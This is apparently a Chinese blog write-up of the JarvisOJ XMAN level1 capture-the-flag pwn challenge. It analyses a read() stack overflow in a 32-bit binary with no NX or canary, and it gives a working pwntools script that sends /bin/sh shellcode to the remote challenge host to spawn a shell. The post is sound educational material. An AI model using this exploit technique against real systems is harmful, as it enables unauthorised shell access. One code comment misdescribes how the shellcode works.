CTF

「JarvisOJ」XMANlevel1题解

Posted by 许大仙 on July 24, 2018

day2:XMANlevel1 题目链接:https://www.jarvisoj.com/challenges

一、初入pwn

XMAN LEVEL1

作为小白,甚至下载完level1.80eacdcd51aca92af7749d96efad7fb5都一脸懵逼。

按照pwn的思路,肯定是要反汇编的,所以level1应该是个可执行文件[即PE,ELF格式的文件],显然这个后缀不对,linux下后缀应该为.out或者没有后缀。

故第一步把.80eacdcd51aca92af7749d96efad7fb删掉。

用ls命令查看,并没有可执行文件的特征[即没标绿加粗],使用命令./level1,也依旧不能运行。

binwalk

  • 用binwalk查看,发现发现是32-bit的ELF格式的可执行文件。说明改后缀是对的。
  • 但是按道理64位系统linux也可以执行这样的32位的文件的。

问题出在,linux文件默认权限。linux中文件默认权限最大为666,也就rw-rw-rw-[每个文件有所有者、所在组、其它组的概念,每个—对于一个概念下的权限]。目录默认权限最大为777。 所以文件本身是不可执行的,必须手动赋予执行权限。 参考linux文件权限

chmod +x level1

./level1

这时候才执行level1了,ls命令查看level1变绿变粗

注:题目中nc pwn2.jarvisoj.com 9877,标识了域名nc pwn2.jarvisoj.com以及level1挂的端口。

二、XMAN level1题解

解题思路

本题的最终目标是得到一个受攻击服务器的shell[寻找服务器flag文件,找到flag]

尝试运行level1,有输入字符串的要求,很可能存在栈溢出攻击。

用checksec保护机制查看,NX没开,说明栈有可执行权限,并且canary未发现,那么使用简单的shellcode栈溢出攻击就可以了。

checksec

通过IDA反汇编level1,在main函数中观察到vulnerable_function函数的调用,说明脆弱性攻击点很可能在这个函数中,跟进.

vulnerable_function

发现有read函数,会读取字节,暂存在栈中[&buf是栈中的地址],这样我们就找到了栈溢出点。根据参数入栈的顺序[先入栈的,参数位置最右]可以只知道read(0,&buf,0x100)[请求读0x100,如果到EOF就自动停止,只返回读到的部分的字节],也就是说最多我们允许读取0x100字节,可以比0x100少。

vulnerable_function

通过观察&buf的位置,存储在eax寄存器中,具体是ebp+buf=ebp-88h。在调用read之前,还调用了printf函数,这个函数将”What’s this:%p?\n”和lea eax,[ebp+buf]以及push eax得到的&buf给打印出来了。所以连shellcode放置的首地址都给了。[只要用pwntools交互的时候,在收到的信息中进行截取就好]

栈中的情况是:

栈帧图

我们可以放置shellcode的缓冲区可以是0x88+0x4[0x4是旧ebp的位置]<0x100,所以read确实导致了栈溢出的危险。

以上是汇编代码的分析,还可以使用F5,观察C代码

vulnerable_function函数的C代码

最终的payload构造:

payload构造

解题步骤

 1 #!/usr/bin/python
 2 # -*- coding: utf-8 -*-
 3 
 4 
 5 from pwn import *   #导入pwntools模块
 6 context(log_level = ‘debug‘, arch = ‘i386‘, os = ‘linux‘)  #被攻击服务器的环境为32位linux,这里进行一些环境设置为正常运行exp
 7  #比如32的汇编和64的汇编不同,如果不设置context会导致一些问题
 8 shellcode = asm(shellcraft.sh())  //获得产生bin/sh的shellcode代码,原理:调用默认库libc库中的system(“/bin/sh”)函数
 9 #  io = process(‘./level1‘)   #本地测试是调试用
10 io = remote(‘pwn2.jarvisoj.com‘, 9877)  #进行远程链接
11 text = io.recvline()[14: -2]  #接受到的一行字符串截取14到-2的部分[第15个字符到倒数第2个字符]
12 #  print text[14:-2]  
13 buf_addr = int(text, 16)  #将字符串"0xffeb9d30"转换为16进制数0xffeb9d30
14 
15 payload = shellcode + ‘\x90‘ * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)   #p32(buf_addr)将数值0xffeb9d30转换为字符串
 [注意不是"0xffeb9d30",而是0xff 0xeb 0x9d 0x30 ascii码对应的字符]
16 io.send(payload)   #发送payload
17 io.interactive()   #进行交互(得到服务器的shell,能对服务进行命令输入,操作)
18 io.close()   #关闭交互

结果:

flag

三、read函数补充

ssize_t read(int fd, void *buf, size_t count); 会把参数fd所指的文件传送count个字节到buf指针所指的内存中[读上来的数据保存在缓冲区buf中,同时文件的当前读写位置向后移。如果buf指向栈,就会存在栈溢出的可能]。若参数nbyte为0,则read()不会有作用并返回0。返回值为实际读取到的字节数,如果返回0,表示已到达文件尾或无可读取的数据。错误返回-1,并将根据不同的错误原因适当的设置错误码。返回值类型是ssize_t,表示有符号的size_t。

read函数返回时,返回值说明了buf中前多少个字节是刚读上来的。有些情况下,实际读到的字节数(返回值)会小于请求读的字节数count,例如:读常规文件时,在读到count个字节之前已到达文件末尾。例如,距文件末尾还有30个字节而请求读100个字节,则read返回30,下次read将返回0